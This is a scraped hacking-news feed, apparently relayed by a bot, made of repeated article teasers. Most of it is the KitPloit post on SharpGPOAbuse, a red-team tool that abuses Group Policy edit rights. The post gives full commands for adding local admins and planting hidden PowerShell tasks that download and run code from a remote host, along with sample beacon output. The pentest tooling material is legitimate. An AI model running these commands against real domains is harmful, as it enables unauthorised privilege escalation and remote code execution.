Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Social Media Account Hacked ││ Special © (Solution, Safety Measures, How to save yourself)
https://cdn-images-1.medium.com/max/1198/1*deNLyn7UU__VzPRBm493QA.png
Social media is a way of exploring used by millions of explorers every day. We all have social media accounts, some of them being Facebook…
Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖
Social Media Account Hacked ││ Special © (Solution, Safety Measures, How to save yourself)
https://cdn-images-1.medium.com/max/1198/1*deNLyn7UU__VzPRBm493QA.png
Social media is a way of exploring used by millions of explorers every day. We all have social media accounts, some of them being Facebook…
Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
CRUD Rest APIs in 5 Minutes Using Flask
https://cdn-images-1.medium.com/max/1858/1*zerg-_g5Z5askaPC6dtxZA.png
Use Flask AppBuilder to developed CRUD REST APIs.
Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖
CRUD Rest APIs in 5 Minutes Using Flask
https://cdn-images-1.medium.com/max/1858/1*zerg-_g5Z5askaPC6dtxZA.png
Use Flask AppBuilder to developed CRUD REST APIs.
Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖
SharpGPOAbuse - Tool To Take Advantage Of A User'S Edit Rights On A Group Policy Object (GPO) In Order To Compromise The Objects That Are Controlled By That GPO
http://www.kitploit.com/2021/04/sharpgpoabuse-tool-to-take-advantage-of.html
http://www.kitploit.com/2021/04/sharpgpoabuse-tool-to-take-advantage-of.html
SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy (https://www.kitploit.com/search/label/Group%20Policy) Object (GPO) in order to compromise the objects that are controlled by that GPO. More details can be found at the following blog post: https://labs.mwrinfosecurity.com/tools/sharpgpoabuse
Compile Instructions
Make sure the necessary NuGet packages are installed properly and simply build the project in Visual Studio.
Usage
Usage:
SharpGPOAbuse.exe
Attack Options
Adding User Rights
Options required to add new user rights:
--UserRights
Set the new rights to add to a user. This option is case sensitive and a comma separeted list must be used.
--UserAccount
Set the account to add the new rights.
--GPOName
The name of the vulnerable (https://www.kitploit.com/search/label/Vulnerable) GPO.
Example:
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
Adding a Local Admin
Options required to add a new local admin:
--UserAccount
Set the name of the account to be added in local admins.
--GPOName
The name of the vulnerable GPO.
Example:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
Configuring a User or Computer Logon Script
Options required to add a new user or computer startup script:
--ScriptName
Set the name of the new startup script.
--ScriptContents
Set the contents of the new startup script.
--GPOName
The name of the vulnerable GPO.
Example:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden (https://www.kitploit.com/search/label/Hidden) -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
If you want to run the malicious script only on a specific user or computer controlled by the vulnerable GPO, you can add an if statement within the malicious script: SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%== powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
Configuring a Computer or User Immediate Task
Options required to add a new computer or user immediate task:
--TaskName
Set the name of the new computer task.
--Author
Set the author of the new task (use a DA account).
--Command
Command to execute.
--Arguments
Arguments passed to the command.
--GPOName
The name of the vulnerable GPO.
Additional User Task Options:
--FilterEnabled
Enable Target Filtering for user immediate tasks.
--TargetUsername
The user to target. The malicious task will run only on the specified user. Should be in the format \
--TargetUserSID
The targeted user's SID.
Additional Computer Task Options:
--FilterEnabled
Enable Target Filtering for computer immediate tasks.
--TargetDnsName
The DNS name of the computer to target. The malicious task will run only on the specified host.
Example:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
If you want to run the malicious task only on a specific user or computer controlled by the vulnerable GPO you can use something similar to the following: SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com
Compile Instructions
Make sure the necessary NuGet packages are installed properly and simply build the project in Visual Studio.
Usage
Usage:
SharpGPOAbuse.exe
Attack Options
Adding User Rights
Options required to add new user rights:
--UserRights
Set the new rights to add to a user. This option is case sensitive and a comma separeted list must be used.
--UserAccount
Set the account to add the new rights.
--GPOName
The name of the vulnerable (https://www.kitploit.com/search/label/Vulnerable) GPO.
Example:
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
Adding a Local Admin
Options required to add a new local admin:
--UserAccount
Set the name of the account to be added in local admins.
--GPOName
The name of the vulnerable GPO.
Example:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
Configuring a User or Computer Logon Script
Options required to add a new user or computer startup script:
--ScriptName
Set the name of the new startup script.
--ScriptContents
Set the contents of the new startup script.
--GPOName
The name of the vulnerable GPO.
Example:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden (https://www.kitploit.com/search/label/Hidden) -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
If you want to run the malicious script only on a specific user or computer controlled by the vulnerable GPO, you can add an if statement within the malicious script: SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%== powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
Configuring a Computer or User Immediate Task
Options required to add a new computer or user immediate task:
--TaskName
Set the name of the new computer task.
--Author
Set the author of the new task (use a DA account).
--Command
Command to execute.
--Arguments
Arguments passed to the command.
--GPOName
The name of the vulnerable GPO.
Additional User Task Options:
--FilterEnabled
Enable Target Filtering for user immediate tasks.
--TargetUsername
The user to target. The malicious task will run only on the specified user. Should be in the format \
--TargetUserSID
The targeted user's SID.
Additional Computer Task Options:
--FilterEnabled
Enable Target Filtering for computer immediate tasks.
--TargetDnsName
The DNS name of the computer to target. The malicious task will run only on the specified host.
Example:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
If you want to run the malicious task only on a specific user or computer controlled by the vulnerable GPO you can use something similar to the following: SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com
Additional Options
Option Description --DomainController Set the target domain controller --Domain Set the target domain --Force Overwrite existing files if required
Example Output
beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon (https://www.kitploit.com/search/label/Beacon) to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {87 7CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!
Download SharpGPOAbuse (https://github.com/FSecureLABS/SharpGPOAbuse)
Option Description --DomainController Set the target domain controller --Domain Set the target domain --Force Overwrite existing files if required
Example Output
beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon (https://www.kitploit.com/search/label/Beacon) to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {87 7CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!
Download SharpGPOAbuse (https://github.com/FSecureLABS/SharpGPOAbuse)
Hacking Articles Tips Tricks Videos Tutorials
Photo
KitPloit - PenTest Tools!
SharpGPOAbuse - Tool To Take Advantage Of A User'S Edit Rights On A Group Policy Object (GPO) In Order To Compromise The Objects That Are Controlled By That GPO
https://1.bp.blogspot.com/-VNnOeix5kmM/YGKcIKN8NjI/AAAAAAAAVvo/ppIS0eBvEhQJy1juxpM9I8obcZ_n9jn5QCNcBGAsYHQ/w640-h248/SharpGPOAbuse.png SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by that GPO.
More details can be found at the following blog post: https://labs.mwrinfosecurity.com/tools/sharpgpoabuse Compile InstructionsMake sure the necessary NuGet packages are installed properly and simply build the project in Visual Studio. Usage
SharpGPOAbuse - Tool To Take Advantage Of A User'S Edit Rights On A Group Policy Object (GPO) In Order To Compromise The Objects That Are Controlled By That GPO
https://1.bp.blogspot.com/-VNnOeix5kmM/YGKcIKN8NjI/AAAAAAAAVvo/ppIS0eBvEhQJy1juxpM9I8obcZ_n9jn5QCNcBGAsYHQ/w640-h248/SharpGPOAbuse.png SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by that GPO.
More details can be found at the following blog post: https://labs.mwrinfosecurity.com/tools/sharpgpoabuse Compile InstructionsMake sure the necessary NuGet packages are installed properly and simply build the project in Visual Studio. Usage
Usage:
SharpGPOAbuse.exe <attacktype<attackoptions Attack OptionsAdding User RightsOptions required to add new user rights:
--UserRights
Set the new rights to add to a user. This option is case sensitive and a comma separeted list must be used.
--UserAccount
Set the account to add the new rights.
--GPOName
The name of the vulnerable GPO.
Example:
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO" Adding a Local AdminOptions required to add a new local admin:
--UserAccount
Set the name of the account to be added in local admins.
--GPOName
The name of the vulnerable GPO.
Example:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO" Configuring a User or Computer Logon ScriptOptions required to add a new user or computer startup script:
--ScriptName
Set the name of the new startup script.
--ScriptContents
Set the contents of the new startup script.
--GPOName
The name of the vulnerable GPO.
Example:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" If you want to run the malicious script only on a specific user or computer controlled by the vulnerable GPO, you can add an if statement within the malicious script: SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" Configuring a Computer or User Immediate TaskOptions required to add a new computer or user immediate task:
--TaskName
Set the name of the new computer task.
--Author
Set the author of the new task (use a DA account).
--Command
Command to execute.
--Arguments
Arguments passed to the command.
--GPOName
The name of the vulnerable GPO.
Additional User Task Options:
--FilterEnabled
Enable Target Filtering for user immediate tasks.
--TargetUsername
The user to target. The malicious task will run only on the specified user. Should be in the format <domain\<username
--TargetUserSID
The targeted user's SID.
Additional Computer Task Options:
--FilterEnabled
Enable Target Filtering for computer immediate tasks.
--TargetDnsName
The DNS name of the computer to target. The malicious task will run only on the specified host.
Example:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" If you want to run the malicious task only on a specific user or computer controlled by the vulnerable GPO you can use something similar to [...]
Hacking Articles Tips Tricks Videos Tutorials
KitPloit - PenTest Tools! SharpGPOAbuse - Tool To Take Advantage Of A User'S Edit Rights On A Group Policy Object (GPO) In Order To Compromise The Objects That Are Controlled By That GPO https://1.bp.blogspot.com/-VNnOeix5kmM/YGKcIKN8NjI/AAAAAAAAVvo/ppIS…
the following:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com Additional OptionsOption Description --DomainController Set the target domain controller --Domain Set the target domain --Force Overwrite existing files if required Example Outputbeacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {87 7CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done! Download SharpGPOAbuseUnderstanding & Identifying Insecure Deserialization Vulnerabilities
https://infosecwriteups.com/understanding-identifying-insecure-deserialization-vulnerabilities-f7fac5414bb3?source=rss------bug_bounty-5
https://infosecwriteups.com/understanding-identifying-insecure-deserialization-vulnerabilities-f7fac5414bb3?source=rss------bug_bounty-5
This post explains the nitty-gritty of Insecure Deserialization Vulnerabilities. We will be covering basic understanding and…Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/understanding-identifying-insecure-deserialization-vulnerabilities-f7fac5414bb3?source=rss------bug_bounty-5)
Understanding & Identifying Insecure Deserialization Vulnerabilities
This post explains the nitty-gritty of Insecure Deserialization Vulnerabilities. We will be covering basic understanding and…Continue reading on InfoSec Write-ups »
Read more...
This post explains the nitty-gritty of Insecure Deserialization Vulnerabilities. We will be covering basic understanding and…Continue reading on InfoSec Write-ups »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Как спец службы пробивают VPN
https://cdn-images-1.medium.com/max/1280/1*IHY2vFIbGg1baR4bgDMAGA.jpeg
Или можно ли доверять VPN-сетям свои секреты?
Continue reading on Medium »
Как спец службы пробивают VPN
https://cdn-images-1.medium.com/max/1280/1*IHY2vFIbGg1baR4bgDMAGA.jpeg
Или можно ли доверять VPN-сетям свои секреты?
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Hack The Box — Fuse: Walkthrough (without Metasploit)
https://cdn-images-1.medium.com/max/600/1*fdqCGSKohFoKkpCqkx-C3Q.png
Hack The Box — Fuse: Walkthrough (without Metasploit) | Road to OSCP | Windows Medium Level | Active Directory Attack | Password Spray |
Continue reading on Medium »
Hack The Box — Fuse: Walkthrough (without Metasploit)
https://cdn-images-1.medium.com/max/600/1*fdqCGSKohFoKkpCqkx-C3Q.png
Hack The Box — Fuse: Walkthrough (without Metasploit) | Road to OSCP | Windows Medium Level | Active Directory Attack | Password Spray |
Continue reading on Medium »